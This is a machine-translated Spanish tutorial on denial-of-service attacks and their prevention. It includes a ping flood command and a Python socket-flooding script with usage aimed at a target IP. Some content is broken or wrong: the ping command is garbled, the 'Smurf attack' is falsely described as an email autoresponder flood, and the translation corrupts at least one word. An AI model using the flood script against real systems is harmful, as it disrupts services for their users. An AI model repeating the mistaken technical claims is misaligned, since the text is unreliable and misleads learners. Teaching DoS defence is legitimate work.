Denegación de Servicio y Prevención

La denegación de servicio (DoS) es un ataque cibernético en una computadora o sitio web individual con la intención de denegar servicios a los usuarios previstos. Su propósito es interrumpir las operaciones de red de una organización negando el acceso a sus usuarios. La denegación de servicio generalmente se logra inundando la máquina o recurso de destino con requests excedentes en un intento de sobrecargar los sistemas y evitar que se cumplan algunas o todas las requests legítimas.
Por ejemplo, si un sitio web de un banco puede manejar a 10 personas por segundo haciendo clic en el botón Iniciar sesión, un atacante solo tiene que enviar 10 requests falsas por segundo para que ningún usuario legítimo pueda iniciar sesión.

Los ataques DoS explotan varias debilidades en las tecnologías de redes informáticas. Pueden apuntar a servidores, enrutadores de red o enlaces de comunicación de red. Pueden hacer que las computadoras y los enrutadores se bloqueen y que los enlaces se atasquen.

La técnica DoS más famosa es Ping of Death. El ataque Ping of Death funciona generando y enviando mensajes de red especiales (específicamente, paquetes ICMP de tamaños no estándar) que causan problemas a los sistemas que los reciben. En los primeros días de la Web, este ataque podía hacer que los servidores de Internet desprotegidos colapsaran rápidamente.

Se recomienda encarecidamente probar todas las actividades descritas en máquinas virtuales en lugar de en su entorno de trabajo.

El siguiente es el comando para realizar la inundación de requests en una IP

ping ip_address –t -65500

AQUÍ,

  • “ping” envía los paquetes de datos a la víctima.
  • “ip_address” es la dirección IP de la víctima.
  • “-t” significa que los paquetes de datos deben enviarse hasta que se detenga el programa.
  • “-l(65500)” especifica la carga de datos que se enviará a la víctima.

Otros tipos básicos de ataques DoS implican

  • Inundar una red con actividad inútil para que el tráfico genuino no pueda pasar. Los ataques TCP/IP SYN y smurf son dos ejemplos comunes.
  • Sobrecargar de forma remota la CPU de un sistema para que no se puedan procesar requests válidas.
  • Cambiar permisos o romper la lógica de autorización para evitar que los usuarios inicien sesión en un sistema. Un ejemplo común consiste en desenstringr una serie rápida de intentos de inicio de sesión falsos que bloquean las cuentas para que no puedan iniciar sesión.
  • Eliminar o interferir con aplicaciones o servicios críticos específicos para evitar su funcionamiento normal (incluso si el sistema y la red en general funcionan).

Otra variante del DoS es el Smurf_attack . Esto implica correos electrónicos con respuestas automáticas. Si alguien envía cientos de mensajes de correo electrónico con una dirección de correo electrónico de respuesta falsa a cientos de personas en una organización con una respuesta automática en su correo electrónico, los mensajes enviados inicialmente pueden convertirse en miles enviados a la dirección de correo electrónico falsa. Si esa dirección de correo electrónico falsa en realidad pertenece a alguien, esto puede abrumar la cuenta de esa persona.

Los ataques DoS pueden causar los siguientes problemas:

  • Servicios ineficaces
  • Servicios inaccesibles
  • Interrupción del tráfico de red.
  • Interferencia de conexión

El siguiente es el script de python para realizar un ataque de denegación de servicio para un sitio web pequeño que no esperaba tanta conexión de socket.

# Please note that running this code might
# cause your IP blocked by server. And purpose
# of this code is only learning.
import socket, sys, os  
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];  
def attack():  
    #pid = os.fork()  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((sys.argv[1], 80))  
    print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
    s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
    s.close()  
  
# Driver code
for i in range(1, 1000):  
    attack() 

Podemos usar el código anterior como

python ddos.py target_ip_address apache

Prevención

Dado que los ataques de denegación de servicio (DoS) son cada vez más frecuentes, es un buen momento para revisar los conceptos básicos y cómo podemos contraatacar.

  • Proveedor de mitigación en la nube: los proveedores de mitigación en la nube son expertos en proporcionar mitigación DDoS desde la nube. Esto significa que han creado cantidades masivas de ancho de banda de red y capacidad de mitigación de DDoS en múltiples sitios de Internet que pueden admitir cualquier tipo de tráfico de red, ya sea que use varios ISP, su propio centro de datos o cualquier cantidad de proveedores de nube. Pueden limpiar el tráfico por usted y solo enviar tráfico «limpio» a su centro de datos.
  • Firewall : este es el método más simple y menos efectivo. En general, alguien escribe algunos scripts de Python que intentan filtrar el tráfico malo o una empresa intentará usar sus firewalls existentes para bloquear el tráfico.
  • Proveedor de servicios de Internet (ISP) : algunas empresas utilizan su ISP para proporcionar mitigación de DDoS. Estos ISP tienen más ancho de banda que una empresa, lo que puede ayudar con los ataques de gran volumen.

Para protegerse de estos ataques, debe aplicar una codificación segura y diseñar una arquitectura sólida que pueda prevenir este tipo de ataques y actualizar las soluciones diarias a los errores en su sitio web.

Referencias
https://www.owasp.org/index.php/Denial_of_Service
https://en.wikipedia.org/wiki/Denial-of-service_attack

Este artículo es una contribución de Akash Sharan . Si te gusta GeeksforGeeks y te gustaría contribuir, también puedes escribir un artículo usando write.geeksforgeeks.org o enviar tu artículo por correo a review-team@geeksforgeeks.org. Vea su artículo que aparece en la página principal de GeeksforGeeks y ayude a otros Geeks.

Escriba comentarios si encuentra algo incorrecto o si desea compartir más información sobre el tema tratado anteriormente.

Publicación traducida automáticamente

Artículo escrito por GeeksforGeeks-1 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *